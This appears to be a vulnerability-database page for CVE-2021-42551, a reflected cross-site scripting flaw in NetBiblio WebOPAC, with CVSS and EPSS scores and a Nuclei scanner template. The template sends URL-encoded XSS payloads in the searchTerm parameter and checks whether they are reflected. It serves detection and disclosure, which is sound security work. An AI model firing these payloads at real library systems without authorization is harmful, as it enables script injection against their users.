4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
47.2%
NetBiblio WebOPAC before 4.0.0.320 is affected by a reflected cross-site scripting vulnerability in its Wikipedia module through /NetBiblio/search/shortview via the searchTerm parameter.
id: CVE-2021-42551
info:
name: NetBiblio WebOPAC - Cross-Site Scripting
author: compr00t
severity: medium
description: NetBiblio WebOPAC before 4.0.0.320 is affected by a reflected cross-site scripting vulnerability in its Wikipedia module through /NetBiblio/search/shortview via the searchTerm parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-42551
- https://www.redguard.ch/advisories/netbiblio_webopac.txt
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/compr00t/nuclei-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-42551
cwe-id: CWE-79
epss-score: 0.00124
epss-percentile: 0.4686
cpe: cpe:2.3:a:alcoda:netbiblio:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: alcoda
product: netbiblio
tags: cve2021,cve,xss,netbiblio,alcoda
http:
- method: GET
path:
- '{{BaseURL}}/NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%27%2Balert%281%29%2B%27x'
- '{{BaseURL}}/NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%5C%27%2Balert%281%29%2C%2F%2F'
host-redirects: true
max-redirects: 3
matchers-condition: and
matchers:
- type: word
part: body
words:
- "SearchTerm: 'x'+alert(1)+'x',"
- "SearchTerm: 'x\\\\'+alert(1),//',"
condition: or
- type: word
part: header
words:
- "text/html"
- type: word
part: body
words:
- "NetBiblio"
- type: status
status:
- 200
# digest: 4a0a0047304502203e43334a553db86f4928a2df80a3848ae45888ae14f5b82235d6bb307078e993022100d261c9668f5ab13f125a082297169816287f2be7c3e80913d9e85d54c70324a6:922c64590222798bb761d5b6d8e72950
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
47.2%